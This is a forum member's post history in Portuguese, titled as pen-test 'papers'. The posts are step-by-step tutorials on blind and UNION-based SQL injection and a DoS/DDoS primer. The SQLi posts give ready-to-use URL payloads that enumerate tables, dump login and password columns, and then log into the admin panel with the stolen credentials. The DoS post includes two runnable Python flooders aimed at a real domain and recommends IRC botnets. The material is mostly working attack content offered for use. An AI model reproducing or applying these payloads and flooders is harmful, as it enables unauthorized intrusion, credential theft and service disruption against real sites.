Menu

Show posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.

Show posts Menu

Messages - Twi John

#1
Penetration Tests / [Paper] Blind SQL Injection
03 de April , 2010, 01:47:46 PM
Vocês ja conhecem a tecnica SQL Injection que consiste em pegar informações, inserindo instruções SQL em uma query. Em Blind SQL Injection é um pouco diferente pois agora estaremos cegamente.
Para testar se estar vulneravel vamos usar "and 1=0--".
Ficando dessa maneira:

    http://www.site.com/news.php?id=500 and 1=0--



Se você inserir isso e não carregar corretamente mude o 1=0-- para 1=1--:

    http://www.site.com/news.php?id=500 and 1=1--



Se carregar normalmente diferentemente da outra vez é porque esta vulneravel.
Agora vamos explorar então, para isso é necessario que você saiba o nomes das colunas e tabelas, para isso você pode estar ultilizando algum programa ou então manualmente mesmo. Estarei supondo que o site tenha a tabela usuarios e a coluna login, vamos então estar pegando o valor da coluna login.Ficando da seguinte maneira no site:

    http://www.site.com/news.php?id=500 and ascii(substring((SELECT concat(login) from usuarios limit 0,1),1,1))=48



Caso carregue normalmente é porque o valor é verdadeiro, no nosso caso, se for 0 o primeiro caracter.




Por Twi John
#2
Penetration Tests / [Paper] SQLi
03 de April , 2010, 01:44:10 PM
   _____  ____  _        _____       _           _   _
  / ____|/ __ \| |      |_   _|     (_)         | | (_)
| (___ | |  | | |        | |  _ __  _  ___  ___| |_ _  ___  _ __
  \___ \| |  | | |        | | | '_ \| |/ _ \/ __| __| |/ _ \| '_ \
  ____) | |__| | |____   _| |_| | | | |  __/ (__| |_| | (_) | | | |
|_____/ \___\_\______| |_____|_| |_| |\___|\___|\__|_|\___/|_| |_|
                                   _/ |
                                  |__/

# Por Twi John
----------------

Primeiramente quero mostrar para vocês um site onde vocês poderam encontrar mais sobre novas vulnerabilidades, como se proteger de vulnerabilidades da web.

http://www.owasp.org/

Nessa aula estremos aprendendo SQLi, no entanto dessa vez estaremos consultado o database Mysql para obter informações de login e senha.

Aqui esta o site: www.site.com.br/noticias.php?id=10

Para descobrir se pode estar vulneravel, coloque ' depois do link, caso dei algum erro tem grande chance de estar vulneravel.

    www.site.com.br/noticias.php?id=10'



Um exemplo de erro: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/site/public_html/noticias/index.php on line 282

Essa falha é baseada em erros.

Vamos pegar o numero de colunas usando ORDER BY *
É usado dessa maneira:

    +order+by+1 //Sem erro
    +order+by+2 //Sem erro
    +order+by+3 //Sem erro
    +order+by+4 //Sem erro
    +order+by+5 //Sem erro
    +order+by+6 //Erro



    www.site.com.br/noticias.php?id=10+order+by+5



Então são apenas 5 colunas

Vamos uni-las, usando UNION ALL SELECT *



    http://www.site.com.br/noticias.php?id=10+union+all+select+1,2,3,4,5



Coloque um traço (-) antes do valor da variavel ficando assim:

    http://www.site.com.br/noticias.php?id=-10+union+all+select+1,2,3,4,5



Irão aparecer numeros, eles que nóis iremos subtituir por informações:

Precisamos encontrar a tabela do login agora, podemos usar Brute Force, ou então information_schema. O information_schema só funciona em databases MYSQL acima de versão acima de 5.0, para descobrir a versão use: version()


    +union+all+select+1,version(),3



//--Brute Force--\\

Vamos tentar colocar tabelas até que não apareça erro:

    UNION ALL SELECT * FROM ADMIN == erro
    "" "" "" "" LOGIN == erro
    "" "" "" "" USER == erro
    "" "" "" "" USERS == erro
    "" "" "" "" USUARIOS == sem erro


Então no caso ficaria assim:

    http://www.site.com.br/noticias.php?id=-10+union+all+select+1,2,3,4,5+from+usuarios



Você pode usar: admin, admins, usuarios, usuario, user, users, user_name, username, login, adm, tb_usuarios, tb_admin ... entre outros.

//--INFORMATION_SCHEMA--\\

DATABASE: INFORMATION_SCHEMA
TABELA: TABLES
COLUNA: TABLE_NAME

Sintaxe = Exemplo: UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES

Para ir passando de tabela você usa LIMIT *

    LIMIT 1,1
    LIMIT 2,1
    LIMIT 3,1
    LIMIT 4,1
    LIMIT 5,1


... E assim vai indo até encontrar uma tabela de login.

Ex:

    http://www.site.com.br/noticias.php?id=-10+union+all+select+1,2,table_name,4,5+from+information_schema.tables+limit+1,1



//

Vamos agora descobrir as colunas de login, você pode usar as mesmas tecnicas de brute force e information_schema, no entanto information_schema é um pouco diferente:

DATABASE: INFORMATION_SCHEMA
TABELLA: COLUMNS
COLUNA: COLUMN_NAME

Sintaxe = Exemplo: UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS

Para passar de coluna pode usar o LIMIT também.

//

Agora continuando suponhamos que eu tenha pegado a tabela USUARIOS e as colunas LOGIN e SENHA, para pegar as informações de login e senha é so digitar eles no seu site, nos numeros visiveis, suponhamos que tenha parecido o 2 e 3 então vamos substituir eles pela informação:


    UNION ALL SELECT 1,LOGIN,SENHA,3,4,5 FROM USUARIOS



    http://www.site.com.br/noticias.php?id=-10+union+all+select+1,login,senha,4,5+from+usuarios



Agora é só encontrar a area de login, geralmente fica em /admin , /adm/ , /administrator /login.php , ou você pode usar o acunetix ou algum outro tool para encontrar a area de login.
Ao encontra-la é só você se logar com as informações que você pegou

#3
Penetration Tests / [Paper] DoS and DDoS
03 de April , 2010, 01:35:45 PM
/  _____         _____                   _    _____  _____         _____
|  __ \       / ____|                 | |  |  __ \|  __ \       / ____|
| |  | | ___ | (___     __ _ _ __   __| |  | |  | | |  | | ___ | (___
| |  | |/ _ \ \___ \   / _` | '_ \ / _` |  | |  | | |  | |/ _ \ \___ \
| |__| | (_) |____) | | (_| | | | | (_| |  | |__| | |__| | (_) |____) |
|_____/ \___/|_____/   \__,_|_| |_|\__,_|  |_____/|_____/ \___/|_____/

---------------------
Author : Twi John
---------------------


// -----> Introdução <----- \\

Olá sou Twi John, nesse paper será falado sobre DOS e DDOS, falarei sobre tecnicas e mostrarei exemplos de tools para isso.
Tento explicar o funcionamento de cada um, para saber mais, entre em contato no IRC.

Quero falar que estou em uma "campanha" anti-ripper.. rsrs
"Se quizer participar bem, se num quizer amem! ou da o desce"

By Bispo Pedir MaisCedo



irc.irchighway.net  #Satanic_Bank


// -----> Definições <----- \\

Primeiro de tudo é necessario saber o que é para começar a saber o resto.

* Denial of Service ou DOS == (Negação de Serviço), isso acontece quando o serviço não pode responder a requisições, ou seja quando você conectar vai dar erro.

* Distributed Denial of Service ou DDOS == (Negação de Serviço Distribuido), ocorre da mesma maneira, no entando ao invez de um computador tentar causar DOS, varios computadores fazem isso, pode ocorrer de ser milhares de computadores.


// -----> DOS <----- \\

Pode ser causado por varias maneiras, estarei mostrando algumas maneiras de fazer isso.

* SYN FLOOD - SYN seria um tipo de pacote usado no TCP para se comunicar, ele funciona para pedir a conexão, por exemplo você se conecta ao servidor, você envia um pacote SYN e o servidor te envia a resposta para comunicar que chegou o pacote, enviando um pacote SYN-ACK e você recebendo isso responde novamente dizendo que recebeu esse pacote com um pacote ACK.
Agora se você enviar muitas requisições SYN para o servidor mais do que ele aguenta, ele não conseguirá responder sobrecarrendo-o e causando DOS.

#--------INICIO---------#

#!/usr/bin/python
#
# SYN Flooder
# Coded By Twi Johnj

import socket
from time import sleep
from thread import start_new_thread
from sys import exit

host = "www.google.com.br"
port = 80

def conn(a):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    sleep(10000)
    s.close()
    thread.exit()


number = 0
while(1):
    try:
        start_new_thread(conn,(None, ))
        sleep(0.1)
        number = number + 1
        print "Attack %s" % str(number)
    except socket.error:
        print ("System Timeout")
        exit(1)




#--------FIM---------#


* UDP Flood - Consiste em enviar diversos pacotes ICMP para o protocolo UDP, para isso pode-se usar IP Spoofing, ele envia diversos pacotes com endereços de IP falsos para varias portas UDP. O servidor irá responder para os IPs falsos, o computador que esta enviando os pacotes não receberá os pacotes, continuando com o mesmo ritimo. Além de spoofing você, se você tiver uma conexão maior do que o servidor, pode enviar os pacotes sem o Spoofing que com certeza causará DOS( isso pode ser feito nas outras tecnicas também ).

#--------INICIO---------#

#!/usr/bin/python
#
# UDP Flooder
# Coded By Twi Johnj

import socket
from sys import exit

host = "www.google.com.br"
buff = "LALALALALA666" * 1000


for ip in range(0,10000):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect((host, ip))
        s.send(buff)
        s.close()
        print "UDP Flooded port: %s" % ip
    except socket.error:
        s.close()
        print ("System Timeout")
        exit(1)


#--------FIM---------#

* TCP Flood - Ocorre como o UDP no entanto, o ataque é concentrado em uma unica porta, já que não há como conectar porque há o sistema de (three-way handshake).
Por ser o protocolo mais usado. Muitas é usado a exploração de falhas no servidor que causam DOS, isso acontece não por problemas na conexão mais sim no sistema que o servidor esta usando.
Um exemplo é um exploit em HTTP, que é usado em paginas de internet, se você causar DOS no Apache por exemplo, ele irá para de responder na porta 80 (HTTP), fazendo com que o site não funcione ate reeniciar o apache.


// Raw Socket - Você define o cabeçalho sendo TCP ou UDP, sendo assim você pode manipular os pacotes que irão enviar.




// -----> DDOS <----- \\


DDOS como já visto é um ataque usando varios computadores que são chamados de Botnet's, são manipulados remotamente por outro computador, fazendo com que todos os computadores façam o ataque junto.

* Botnet's geralmente, são controlados por IRC por ser facil de ser codado e dificilmente descoberto. Podem ser em diversas linguagens, existem os em linguagem web que infectam servidores da web, e também existem os que infectam computadores pessoais e redes que são os feitos em linguagens como C, perl, python. Você pode encontrar alguns botnet's na internet que é no caso o pbot feito em php, muito simples de configurar.

#4
Meu camarada fox mandou eu entregar esse bombom pra voces

http://www.milw0rm.com/papers/download/357